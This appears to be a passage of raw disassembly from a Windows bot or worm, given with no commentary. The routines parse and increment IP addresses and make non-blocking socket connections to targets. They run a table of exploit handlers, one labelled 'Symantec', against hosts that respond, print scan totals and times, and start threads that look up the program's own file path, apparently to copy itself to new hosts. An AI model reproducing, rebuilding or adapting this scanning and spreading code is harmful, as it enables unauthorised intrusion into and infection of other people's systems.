loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E6C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431AD0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431AD8


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E60
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CB374
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE140
		mov	ecx, dword_4CE13C
		push	esi
		push	dword_4CB374
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE140
		lea	eax, [ebp+var_200]
		push	dword_4CE13C
		push	offset unk_431E8C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB374
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE384
		push	offset unk_431ED4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431F20
		push	eax
		call	sub_41B886
		cmp	dword_431AD0, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431F10
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CB374
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8A1	proc near		; DATA XREF: sub_401ACD+30E0o

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CB674	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_431AD0, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431AD0
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: sub_40B8A1+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431F70
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409A72
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40B98E
		lea	eax, [ebp+var_124]


loc_40B98E:				; CODE XREF: sub_40B8A1+E5j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: sub_40B8A1+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: sub_40B8A1+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431F3C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409A72
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		call	dword_4270CC	; ExitThread
sub_40B8A1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB780[eax*8]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431FC0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431FA0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C33C+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431ADC[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD83C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA4C, eax
		mov	dword_4CDA48, ebx
		call	dword_427070	; GetModuleFileNameA
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD940
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD838, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDAD0, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDA50
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAD4, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDA50
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDAD4, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDA4C
		push	offset unk_42C524
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDA44, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD838
		push	offset sub_411796
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4CDA44
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CDAD8, ebx
		jnz	short loc_40BC23
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4320E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CB370
		mov	esi, offset dword_4CDAE4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDCF4, eax
		mov	dword_4CDCF0, ebx
		call	dword_427070	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4CDBE8
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDAE0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD78, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDCF8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD7C, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDCF8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CDD7C, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDCF4
		push	offset unk_4320AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CDCEC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDAE0
		push	offset sub_40E991
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4CDCEC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CDD80, ebx
		jnz	short loc_40BD47
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432078
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431AE4[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CE37C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7A4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD798, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7A0, ebx
		mov	dword_4CD828, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD7A8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD82C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD7A8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD82C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD7A4
		lea	eax, [ebp+var_204]
		push	offset unk_432048
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD79C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD798
		push	offset sub_40E6EF
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4CD79C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD830, ebx
		jnz	short loc_40BE6A
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_432010
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431AE0[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CE014
		push	104h
		push	esi
		push	ebx
		call	dword_427070	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE12C, ebx
		mov	dword_4CE118, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDD8C
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDD88, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE118
		mov	dword_4CE124, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE128, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C4AC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CE120, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDD88
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, dword_4CE120
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CE134, ebx
		jnz	short loc_40BF92
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431FDC
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB780h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB55C	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB630	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB780[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: sub_40B8A1+59p
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6B4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB634	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6D0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5DC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB61C	; select
		push	esi
		mov	edi, eax
